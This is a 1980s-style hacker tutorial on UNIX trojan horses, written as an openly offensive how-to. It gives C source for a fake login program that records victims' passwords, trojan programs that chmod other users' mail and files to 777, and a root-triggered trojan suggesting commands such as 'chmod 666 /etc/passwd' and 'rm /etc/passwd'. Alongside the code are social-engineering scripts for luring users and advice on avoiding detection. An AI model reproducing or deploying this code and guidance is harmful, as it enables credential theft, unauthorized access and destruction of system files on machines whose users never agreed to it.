325 lines
12 KiB
Plaintext
325 lines
12 KiB
Plaintext
|
------------------
|
|||
|
UNIX Trojan Horses
|
|||
|
------------------
|
|||
|
|
|||
|
Introduction
|
|||
|
------------
|
|||
|
|
|||
|
"UNIX Security" is an oxymoron. It's an easy system to bruteforce hack
|
|||
|
(most UNIX systems don't hang up after x number of login tries, and there are
|
|||
|
a number of default logins, such as root, bin, sys and uucp). Once you're in
|
|||
|
the system, you can easily bring it to its knees or, if you know a little 'C',
|
|||
|
you can make the system work for you and totally eliminate the security
|
|||
|
barriers to creating your own logins, reading anybody's files, etcetera. This
|
|||
|
file will outline such ways by presenting 'C' code that you can implement
|
|||
|
yourself.
|
|||
|
|
|||
|
Requirements
|
|||
|
------------
|
|||
|
You'll need a working account on a UNIX system. It should be a fairly
|
|||
|
robust version of UNIX (such as 4.2bsd or AT&T System V) running on a real
|
|||
|
machine (a PDP/11, VAX, Pyramid, etc.) for the best results. If you go to
|
|||
|
school and have an account on the school system, that will do perfectly.
|
|||
|
|
|||
|
Notes
|
|||
|
-----
|
|||
|
This file was inspired an article in the April, '86 issue of BYTE
|
|||
|
entitled "Making UNIX Secure." In the article, the authors say "We provide
|
|||
|
this information in a way that, we hope, is interesting and useful yet stops
|
|||
|
short of being a 'cookbook for crackers.' We have often intentionally omitted
|
|||
|
details." I am following the general outline of the article, giving explicit
|
|||
|
examples of the methods they touched on.
|
|||
|
|
|||
|
|
|||
|
Project One: Fishing For Passwords
|
|||
|
-----------------------------------
|
|||
|
|
|||
|
You can implement this with only a minimal knowledge of UNIX and C.
|
|||
|
However, you need access to a terminal that many people use - the computer lab
|
|||
|
at your school, for example.
|
|||
|
|
|||
|
When you log onto a typical UNIX system, you see something like this:
|
|||
|
|
|||
|
Tiburon Systems 4.2bsd / System V (shark)
|
|||
|
|
|||
|
|
|||
|
login: shark
|
|||
|
Password: (not printed)
|
|||
|
|
|||
|
The program I'm giving you here simulates a logon sequence. You run the
|
|||
|
program from a terminal and then leave. Some unknowing fool will walk up and
|
|||
|
enter their login and password. It is written to a file of yours, then "login
|
|||
|
incorrect" is printed, then the fool is asked to log in again. The second
|
|||
|
time it's the real login program. This time the person succeeds and they are
|
|||
|
none the wiser.
|
|||
|
|
|||
|
On the system, put the following code into a file called 'horse.c'. You
|
|||
|
will need to modify the first 8 lines to fit your system's appearance.
|
|||
|
|
|||
|
|
|||
|
----- Code Begins Here -----
|
|||
|
|
|||
|
/* this is what a 'C' comment looks like. You can leave them out. */
|
|||
|
|
|||
|
/* #define's are like macros you can use for configuration. */
|
|||
|
|
|||
|
#define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
|
|||
|
|
|||
|
/* The above string should be made to look like the message that your
|
|||
|
* system prints when ready. Each \n represents a carriage return.
|
|||
|
*/
|
|||
|
|
|||
|
#define LOGIN "login: "
|
|||
|
|
|||
|
/* The above is the login prompt. You shouldn't have to change it
|
|||
|
* unless you're running some strange version of UNIX.
|
|||
|
*/
|
|||
|
|
|||
|
#define PASSWORD "password:"
|
|||
|
|
|||
|
/* The above is the password prompt. You shouldn't have to change
|
|||
|
* it, either.
|
|||
|
*/
|
|||
|
|
|||
|
#define WAIT 2
|
|||
|
|
|||
|
/* The numerical value assigned to WAIT is the delay you get after
|
|||
|
* "password:" and before "login incorrect." Change it (0 = almost
|
|||
|
* no delay, 5 = LONG delay) so it looks like your system's delay.
|
|||
|
* realism is the key here - we don't want our target to become
|
|||
|
* suspicious.
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#define INCORRECT "Login incorrect.\n"
|
|||
|
|
|||
|
/* Change the above so it is what your system says when an incorrect
|
|||
|
* login is given. You shouldn't have to change it.
|
|||
|
*/
|
|||
|
|
|||
|
#define FILENAME "stuff"
|
|||
|
|
|||
|
/* FILENAME is the name of the file that the hacked passwords will
|
|||
|
* be put into automatically. 'stuff' is a perfectly good name.
|
|||
|
*/
|
|||
|
|
|||
|
/* Don't change the rest of the program unless there is a need to
|
|||
|
* and you know 'C'.
|
|||
|
*/
|
|||
|
|
|||
|
#include <curses.h>
|
|||
|
#include <signal.h>
|
|||
|
int stop();
|
|||
|
|
|||
|
main()
|
|||
|
{
|
|||
|
char name[10], password[10];
|
|||
|
int i;
|
|||
|
FILE *fp, *fopen();
|
|||
|
signal(SIGINT,stop);
|
|||
|
initscr();
|
|||
|
printf(SYSTEM);
|
|||
|
printf(LOGIN);
|
|||
|
scanf("%[^\n]",name);
|
|||
|
getchar();
|
|||
|
noecho();
|
|||
|
printf(PASSWORD);
|
|||
|
scanf("%[^\n]",password);
|
|||
|
printf("\n");
|
|||
|
getchar();
|
|||
|
echo();
|
|||
|
sleep(WAIT);
|
|||
|
|
|||
|
|
|||
|
if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
|
|||
|
#fprintf(fp,"login %s has password %s\n",name,password);
|
|||
|
#fclose(fp);
|
|||
|
#}
|
|||
|
|
|||
|
printf(INCORRECT);
|
|||
|
endwin();
|
|||
|
}
|
|||
|
|
|||
|
stop()
|
|||
|
{
|
|||
|
endwin();
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
----- Source Ends Here -----
|
|||
|
|
|||
|
OK, as I said, enter the above and configure it so it looks exactly like
|
|||
|
your system's login sequence. To compile this program called 'horse.c' type
|
|||
|
the following two lines: (don't type the %'s, they are just a sample prompt)
|
|||
|
|
|||
|
% cc horse.c -lcurses -ltermcap
|
|||
|
% mv a.out horse
|
|||
|
|
|||
|
You now have the working object code in a file called 'horse'. Run it, and if
|
|||
|
it doesn't look like your systems logon sequence, re-edit horse.c and
|
|||
|
recomplie it. When you're ready to put the program into use, create a new
|
|||
|
file and call it 'trap' or something. 'trap' should have these two commands:
|
|||
|
|
|||
|
horse (this runs your program)
|
|||
|
login (this runs the real login program)
|
|||
|
|
|||
|
to execute 'trap' type:
|
|||
|
|
|||
|
% source trap (again, don't type the %)
|
|||
|
|
|||
|
and walk away from your terminal...
|
|||
|
|
|||
|
After you've run it successfully a few times, check your file called
|
|||
|
'stuff' (or whatever you decided to call it). It will look like this:
|
|||
|
|
|||
|
user john has password secret
|
|||
|
user mary has password smegma
|
|||
|
etc.
|
|||
|
|
|||
|
Copy down these passwords, then delete this file (it can be VERY incriminating
|
|||
|
if the superuser sees it).
|
|||
|
|
|||
|
Note - for best results your terminal should be set to time-out after a few
|
|||
|
minutes of non-use - that way, your horse program doesn't run idle for 14
|
|||
|
hours if nobody uses the terminal you ran it on.
|
|||
|
|
|||
|
-----
|
|||
|
|
|||
|
The next projects can be run on a remote system, such as the VAX in Michigan
|
|||
|
you've hacked into, or Dartmouth's UNIX system, or whatever. However, they
|
|||
|
require a little knowledge of the 'C' language. They're not something for
|
|||
|
UNIX novices.
|
|||
|
|
|||
|
Project Two: Reading Anybody's Files
|
|||
|
-------------------------------------
|
|||
|
|
|||
|
When somebody runs a program, they're the owner of the process created and
|
|||
|
that program can do anything they would do, such as delete a file in their
|
|||
|
directory or making a file of theirs available for reading by anybody.
|
|||
|
|
|||
|
When people save old mail they get on a UNIX system, it's put into a file
|
|||
|
called mbox in their home directory. This file can be fun to read but is
|
|||
|
usually impossible for anybody but the file's owner to read. Here is a short
|
|||
|
program that will unlock (i.e. chmod 777, or let anybody on the system read,
|
|||
|
write or execute) the mbox file of the person who runs the program:
|
|||
|
|
|||
|
----- Code Begins Here -----
|
|||
|
|
|||
|
#include <pwd.h>
|
|||
|
|
|||
|
struct passwd *getpwnam(name);
|
|||
|
struct passwd *p;
|
|||
|
char buf[255];
|
|||
|
|
|||
|
main()
|
|||
|
{
|
|||
|
p = getpwnam(getlogin());
|
|||
|
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
|
|||
|
if ( access(buf,0) > -1 ) {
|
|||
|
sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
|
|||
|
system(buf);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
----- Code Ends Here -----
|
|||
|
|
|||
|
So the question is: How do I get my target to run this program that's
|
|||
|
in my directory?
|
|||
|
|
|||
|
If the system you're on has a public-messages type of thing (on 4.xbsd, type
|
|||
|
'msgs') you can advertise your program there. Put the above code in another
|
|||
|
program - find a utility or game program in some magazine like UNIX WORLD and
|
|||
|
modify it and do the above before it does it's real thing. So if you have a
|
|||
|
program called tic-tac-toe and you've modified it to unlock the mbox file of
|
|||
|
the user before it plays tic-tac-toe with him, advertise "I have a new tic-
|
|||
|
tac-toe program running that you should all try. It's in my directory." or
|
|||
|
whatever. If you don't have means of telling everybody on the system via a
|
|||
|
public message, then just send mail to the specific people you want to trap.
|
|||
|
|
|||
|
If you can't find a real program to modify, just take the above program and
|
|||
|
add this line between the two '}' lines at the end of the program:
|
|||
|
|
|||
|
printf("Error opening tic-tac-toe data file. Sorry!\n");
|
|||
|
|
|||
|
when the program runs, it will print the above error message. The user will
|
|||
|
think "Heh, that dude doesn't know how to write a simple tic-tac-toe program!"
|
|||
|
but the joke's on him - you can now read his mail.
|
|||
|
|
|||
|
If there's a specific file in a user's directory that you'd like to read (say
|
|||
|
it's called "secret") just throw together this general program:
|
|||
|
|
|||
|
|
|||
|
main()
|
|||
|
{
|
|||
|
if ( access("secret",0) > -1 ) system("chmod 777 secret");
|
|||
|
}
|
|||
|
|
|||
|
then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program
|
|||
|
called super_star_wars, will you try it out?"
|
|||
|
|
|||
|
You can use your imagination. Think of a command you'd like somebody to
|
|||
|
execute. Then put it inside a system() call in a C program and trick them
|
|||
|
into running your program!
|
|||
|
|
|||
|
Here's a very neat way of using the above technique:
|
|||
|
|
|||
|
Project Three: Become the superuser
|
|||
|
-----------------------------------
|
|||
|
|
|||
|
Write a program that you can get people to run. Put this line in it
|
|||
|
somewhere:
|
|||
|
|
|||
|
if ( !strcmp(getlogin(),"root") ) system("whatever you want");
|
|||
|
|
|||
|
This checks to see if the root login is running your program. If he is, you
|
|||
|
can have him execute any shell command you'd like. Here are some suggestions:
|
|||
|
|
|||
|
"chmod 666 /etc/passwd"
|
|||
|
|
|||
|
/etc/passwd is the system's password file. The root owns this file.
|
|||
|
Normally, everyone can read it (the passwords are encrypted) but only the root
|
|||
|
can write to it. Take a look at it and see how it's formatted if you don't
|
|||
|
know already. This command makes it possible for you to now write to the file
|
|||
|
- i.e. create unlimited accounts for yourself and your friends.
|
|||
|
|
|||
|
"chmod 666 /etc/group"
|
|||
|
|
|||
|
By adding yourself to some high-access groups, you can open many
|
|||
|
doors.
|
|||
|
|
|||
|
"chmod 666 /usr/lib/uucp/L.sys"
|
|||
|
|
|||
|
Look for this file on your system if it is on the uucp net. It contains
|
|||
|
dialups and passwords to other systems on the net, and normally only the uucp
|
|||
|
administrator can read it. Find out who owns this file and get him to
|
|||
|
unknowingly execute a program to unlock it for you.
|
|||
|
|
|||
|
"rm /etc/passwd"
|
|||
|
|
|||
|
If you can get the root to execute this command, the system's passwd file
|
|||
|
will be removed and the system will go down and will not come up for some time
|
|||
|
to come. This is very destructive.
|
|||
|
|
|||
|
-----
|
|||
|
|
|||
|
If you are going to go about adding a trojan horse program to the system,
|
|||
|
there are some rules you should follow. If the hidden purpose is something
|
|||
|
major (such as unlocking the user's mbox or deleting all of his files or
|
|||
|
something) this program shouldn't be a program that people will be running a
|
|||
|
lot (such as a popular computer game) - once people discover that their files
|
|||
|
are public access the source of the problem will be discovered quite easily.
|
|||
|
Save this purpose for a 'test' program (such as a game you're in the process
|
|||
|
of writing) that you ask individual people to run via mail or 'chatting' with
|
|||
|
them. As I said, this 'test' program can bomb or print a phony error message
|
|||
|
after completing its task, and you will just tell the person "well, I guess
|
|||
|
it needs more work", wait until they log off, and then read whatever file of
|
|||
|
theirs that you've unlocked. If your trojan horse program's sole purpose is
|
|||
|
to catch a specific user running it - such as the root or other high-powered
|
|||
|
user - you can put the code to do so in a program that will be run a lot by
|
|||
|
various users of the system. Your modification will remain dormant until he
|
|||
|
runs it. If you can't find the source to 'star trek' or whatever in C, just
|
|||
|
learn C and convert something from pascal. It can't hurt to learn C as it's a
|
|||
|
great language. We've just seen what it can do on a UNIX system. Once you've
|
|||
|
caught the root (i.e. you can now modify the /etc/passwd file) remove the
|
|||
|
spurious code from your trojan horse program and you'll never be caught.
|